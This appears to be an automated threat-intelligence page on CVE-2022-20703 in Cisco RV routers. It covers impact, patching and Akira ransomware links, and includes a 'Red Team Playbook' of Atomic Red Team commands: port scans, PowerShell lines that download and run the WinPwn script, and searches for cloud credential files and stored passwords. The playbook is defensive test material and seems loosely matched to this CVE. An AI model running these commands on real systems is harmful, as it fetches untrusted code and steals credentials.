CVE-2022-20703
Overview
The vulnerabilities stem from multiple flaws including improper input validation and insufficient authentication enforcement within the firmware components of Cisco Small Business RV Series Routers. Specifically, these issues affect the router’s management interfaces and firmware update mechanisms, allowing unauthorized manipulation of internal processes. The root causes include buffer overflow conditions and inadequate certificate validation in cryptographic operations, impacting firmware modules responsible for command execution and access control.
Vulnerability Description
Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory.
Impact
An unauthenticated attacker can remotely execute arbitrary code, escalate privileges, bypass authentication controls, and deploy unsigned firmware on affected Cisco Small Business RV Series Routers. This enables full control over the device, potentially disrupting network availability through denial of service or facilitating lateral movement within the network. No user interaction or valid credentials are required to exploit these vulnerabilities, increasing the likelihood of widespread compromise in enterprise and SMB environments.
Solution
Cisco has released firmware updates addressing these vulnerabilities for the RV160, RV260, RV340, and RV345 series routers as detailed in advisory cisco-sa-smb-mult-vuln-KA9PK6D. Administrators should apply the latest firmware versions provided on Cisco’s official support site. The advisory includes step-by-step instructions for verifying and installing updates. No alternative mitigations are recommended beyond applying the vendor-supplied patches.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerabilities present in specific models of Cisco Small Business routers, including the RV160, RV260, RV340, and RV345 series, expose these devices to a range of severe security threats. These vulnerabilities allow attackers to execute arbitrary code, elevate privileges, and execute unauthorized commands, among other malicious activities. The underlying issues stem from improper input validation and insufficient authentication mechanisms, which can be exploited to bypass security controls. This creates a significant risk, as attackers can potentially gain full control over the affected devices, leading to unauthorized access to sensitive network data and resources.
Attack vectors for these vulnerabilities are varied, enabling exploitation through both local and remote means. An attacker could leverage network access to send crafted requests to the router's management interface, leading to code execution or privilege escalation. Additionally, the ability to fetch and run unsigned software poses a critical risk, as it allows malicious payloads to be executed on the device without any verification. Furthermore, the potential for denial of service (DoS) attacks can disrupt network operations, rendering the routers inoperative and impacting all connected users. Given the widespread deployment of these routers in small business environments, the attack surface is substantial, making them attractive targets for cybercriminals.
The real-world impact of these vulnerabilities can be profound, particularly for small and medium-sized enterprises that rely heavily on these routers for their network infrastructure. A successful attack could lead to data breaches, loss of sensitive information, and significant operational disruptions. The financial implications of such incidents can be severe, encompassing costs related to incident response, recovery, and potential regulatory fines. Moreover, the reputational damage sustained from a security breach can have long-lasting effects on customer trust and business relationships. As many small businesses may lack the resources to effectively manage and mitigate these risks, they are particularly vulnerable to exploitation.
To detect and mitigate these vulnerabilities, organizations should adopt a multi-layered security approach. Regularly updating router firmware is crucial, as vendors often release patches to address known vulnerabilities. Implementing network segmentation can also help limit the exposure of critical systems to potential threats. Additionally, employing intrusion detection systems (IDS) can assist in identifying suspicious activity targeting these devices. Organizations should conduct routine security assessments and penetration testing to uncover any existing vulnerabilities and ensure their network defenses are robust. Training staff on security best practices, including recognizing phishing attempts and securing administrative access, further strengthens the overall security posture.
In conclusion, the vulnerabilities affecting specific Cisco Small Business routers represent a significant threat to network security. The potential for arbitrary code execution, privilege escalation, and denial of service attacks underscores the need for immediate attention and remediation. By understanding the technical details, attack vectors, and real-world implications of these vulnerabilities, organizations can better prepare themselves to defend against potential exploits. Proactive detection and mitigation strategies are essential to safeguard sensitive data and maintain the integrity of business operations in an increasingly complex threat landscape.
CSURFACE threat intelligence has identified a critical update regarding CVE-2022-20703, with the CVSS score now elevated from 8.0 to the maximum severity of 10.0. This adjustment reflects a reassessment of the vulnerability’s potential impact and exploitability, underscoring its capacity for complete system compromise through arbitrary code execution, privilege escalation, and authentication bypass. Notably, our telemetry has detected the emergence of the ransomware group Akira leveraging this vulnerability, marking the first confirmed association with ransomware actors. Although no new exploit details have surfaced, the involvement of Akira signals an increased likelihood of targeted attacks exploiting this flaw in operational environments. This development significantly heightens the threat level, as ransomware campaigns typically prioritize vulnerabilities that enable rapid and impactful intrusion. Defenders should recognize that the convergence of a critical severity rating and active ransomware exploitation elevates CVE-2022-20703 from a high-risk to an urgent threat, necessitating heightened vigilance in detection and response efforts.
Affected Products (9)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Cisco | Rv340 Firmware | All |
cpe:2.3:o:cisco:rv340_firmware:*:*:*:*:*:*:*:*
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Cisco | Rv340w Firmware | All |
cpe:2.3:o:cisco:rv340w_firmware:*:*:*:*:*:*:*:*
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|
|
Cisco | Rv345 Firmware | All |
cpe:2.3:o:cisco:rv345_firmware:*:*:*:*:*:*:*:*
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Cisco | Rv345p Firmware | All |
cpe:2.3:o:cisco:rv345p_firmware:*:*:*:*:*:*:*:*
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Cisco | Rv160 Firmware | All |
cpe:2.3:o:cisco:rv160_firmware:*:*:*:*:*:*:*:*
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Cisco | Rv160w Firmware | All |
cpe:2.3:o:cisco:rv160w_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv260 Firmware | All |
cpe:2.3:o:cisco:rv260_firmware:*:*:*:*:*:*:*:*
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Cisco | Rv260p Firmware | All |
cpe:2.3:o:cisco:rv260p_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv260w Firmware | All |
cpe:2.3:o:cisco:rv260w_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-475 | Signature Spoofing by Improper Validation |
35%
|
Low | High | |
| CAPEC-459 | Creating a Rogue Certification Authority Certificate |
35%
|
Medium | Very High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-20703 |
| tools.cisco.com |
GitHub CVE
vendor-advisory
x_refsource_CISCO
|
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-smb-mult-vuln-KA9PK6D |
| zerodayinitiative.com |
GitHub CVE
x_refsource_MISC
|
https://www.zerodayinitiative.com/advisories/ZDI-22-408/ |
| zerodayinitiative.com |
GitHub CVE
x_refsource_MISC
|
https://www.zerodayinitiative.com/advisories/ZDI-22-413/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-20703 |